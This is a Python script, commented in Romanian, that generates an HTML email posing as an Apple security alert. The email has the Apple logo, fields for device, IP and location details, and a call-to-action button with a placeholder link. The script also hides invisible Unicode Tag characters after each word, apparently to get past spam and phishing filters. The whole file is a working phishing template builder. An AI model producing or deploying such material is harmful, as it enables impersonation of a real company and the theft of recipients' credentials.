#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genereaza letter.html in engleza cu:
- placeholdere #KEY# pentru texts.json
- Unicode Tags (poemul ascuns) injectate dupa fiecare cuvant ASCII
"""

import os
import json

OUTPUT = "letter.html"
TAG = 0xE0000

# Poemul ascuns (fara ghilimele smart, fara diacritice)
HIDDEN = '''The Road Not Taken
by Robert Frost

Two roads diverged in a yellow wood,
And sorry I could not travel both
And be one traveler, long I stood
And looked down one as far as I could
To where it bent in the undergrowth;

Then took the other, as just as fair,
And having perhaps the better claim,
Because it was grassy and wanted wear;
Though as for that the passing there
Had worn them really about the same,

And both that morning equally lay
In leaves no step had trodden black.
Oh, I kept the first for another day!
Yet knowing how way leads on to way,
I doubted if I should ever come back.

I shall be telling this with a sigh
Somewhere ages and ages hence:
Two roads diverged in a wood, and I,
I took the one less traveled by,
And that has made all the difference.'''


LETTER = '''<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>#TITLE#</title>
<meta name="viewport" content="width=device-width" />
<style>
  body#message {
    font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
    font-size: 17px; line-height: 25px; color: #333 !important;
    background-color: #ffffff !important; margin: 0 !important;
    padding: 0 !important; width: 100%;
  }
  .main { width: 685px; }
  h1 { font-size: 32px; line-height: 36px; padding-bottom: 10px;
       border: 0 !important; color: #333 !important; }
  p { margin-top: 0 !important; word-wrap: break-word; color: #333; }
  a { color: #0070c9; text-decoration: none; }
  #main { margin-top: 40px; padding: 0 15px 30px; }
  footer, footer td { font-size: 12px; line-height: 18px; color: #888 !important; }
  #logo-row-box { width: 95%; text-align: center; padding-top: 24px; padding-bottom: 10px; }
  .email-header { font-size: 32px; line-height: 36px; font-weight: 500;
                  margin-bottom: 0.5em; text-align: center; padding-bottom: 10px; color: #333; }
  .email-body { font-size: 17px; line-height: 25px; color: #333; }
  .form-alert {
    font-size: 17px; line-height: 25px;
    background-color: #fbf8e8 !important; border: 0;
    border-left: 6px solid #fee450; border-radius: 4px;
    padding: 15px 15px 7px 15px; margin: 20px 0;
  }
  #left-align-on-reply { margin: 0 auto 50px; padding: 0; width: 685px; }
  table.info { width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 17px; }
  table.info td { padding: 12px 0; border-bottom: 1px solid #e5e5e5;
                  vertical-align: top; color: #333; }
  table.info td:first-child { color: #888; width: 40%; }
  table.info td:last-child { color: #333; font-weight: 500; text-align: right; }
  table.info tr:last-child td { border-bottom: none; }
  .btn-primary { display: block; text-align: center; margin: 24px 0 10px; }
  .btn-primary a {
    display: inline-block; padding: 16px 40px; background: #0070c9;
    color: #ffffff !important; text-decoration: none; border-radius: 6px;
    font-size: 17px; font-weight: 600; min-width: 280px;
  }
  @media (max-width: 320px) {
    #left-align-on-reply { padding: 0 16px; width: 300px; }
    #main { margin-top: 18px; padding: 0; }
  }
</style>
</head>
<body id="message" style="background-color: #fff;">
  <div id="left-align-on-reply" dir="ltr">
    <div id="main">

      <div id="logo-row-box">
        <img src="https://upload.wikimedia.org/wikipedia/commons/f/fa/Apple_logo_black.svg"
             alt="Apple" width="60"
             style="display: inline-block; width: 60px; max-width: 100%; height: auto; border: 0;" />
      </div>

      <h1 class="email-header">#TITLE#</h1>

      <div class="email-body">

        <h2>#HEADING#</h2>

        <p>#GREETING_INTRO#</p>

        <p><strong>#DETAILS_TITLE#</strong><br>
          #DETAILS_DEVICE#: #DETAILS_DEVICE_VALUE#<br>
          #DETAILS_TIME#: #DETAILS_TIME_VALUE#<br>
          #DETAILS_IP#: #DETAILS_IP_VALUE#<br>
          #DETAILS_LOCATION#: #DETAILS_LOCATION_VALUE#<br>
          #DETAILS_OS#: #DETAILS_OS_VALUE#
        </p>

        <div class="form-alert">
          #NOTICE_BODY_1#<br>
          #NOTICE_BODY_2#
        </div>

        <p>#WARNING#</p>

        <div class="btn-primary">
          <a href="#LI#">#BUTTON_PRIMARY#</a>
        </div>

        <p>#THANKS#</p>

        <hr style="border: none; border-top: 1px dashed #c9c9c9; margin: 30px 0 16px;">

        <p style="font-size: 13px; color: #999;">#DISCLAIMER#</p>

      </div>

    </div>

    <footer style="width: 100%; background-color: #f2f2f2;">
      <table width="100%" border="0" cellpadding="0" cellspacing="0" style="background: #f2f2f2; padding: 20px 15px;">
        <tr>
          <td style="font-size: 12px; line-height: 18px; color: #888;">
            <a href="https://www.apple.com/" style="color: #555;">https://www.apple.com/</a>
          </td>
        </tr>
        <tr>
          <td style="padding-top: 10px; font-size: 12px; color: #888;">
            <strong>#FOOTER_SUPPORT_LABEL#</strong><br>
            #FOOTER_SUPPORT_VALUE#
          </td>
        </tr>
      </table>
    </footer>

  </div>
</body>
</html>
'''


def to_tags(text):
    out = []
    for ch in text:
        c = ord(ch)
        if 0x20 <= c <= 0x7E:
            out.append(chr(TAG + c))
    return "".join(out)


def inject_after_words(html, hidden):
    chunks = [hidden[i:i+6] for i in range(0, len(hidden), 6)]
    idx = 0
    res = []
    i = 0
    n = len(html)
    in_style = False
    in_script = False

    while i < n:
        low = html[i:].lower()
        if low.startswith('<style'):
            e = html.find('>', i); res.append(html[i:e+1]); i = e+1; in_style=True; continue
        if low.startswith('</style>'):
            res.append(html[i:i+8]); i += 8; in_style=False; continue
        if low.startswith('<script'):
            e = html.find('>', i); res.append(html[i:e+1]); i = e+1; in_script=True; continue
        if low.startswith('</script>'):
            res.append(html[i:i+9]); i += 9; in_script=False; continue
        if html[i] == '<':
            e = html.find('>', i)
            if e == -1: res.append(html[i:]); break
            res.append(html[i:e+1]); i = e+1; continue
        if in_style or in_script:
            res.append(html[i]); i += 1; continue
        if html[i] == '#':
            e = html.find('#', i + 1)
            if e != -1:
                res.append(html[i:e+1]); i = e+1; continue
        if html[i].isalnum() and ord(html[i]) < 128:
            j = i
            while j < n and html[j].isalnum() and ord(html[j]) < 128:
                j += 1
            res.append(html[i:j])
            res.append(to_tags(chunks[idx % len(chunks)]))
            idx += 1
            i = j; continue
        res.append(html[i]); i += 1
    return "".join(res)


def main():
    result = inject_after_words(LETTER, HIDDEN)
    with open(OUTPUT, "w", encoding="utf-8") as f:
        f.write(result)
    total = sum(1 for ch in result if TAG <= ord(ch) <= TAG + 0x7F)
    print(f"[OK] Scris: {OUTPUT}")
    print(f"[OK] Tags injectate: {total}")
    print(f"[OK] Bytes: {os.path.getsize(OUTPUT)}")


if __name__ == "__main__":
    main()
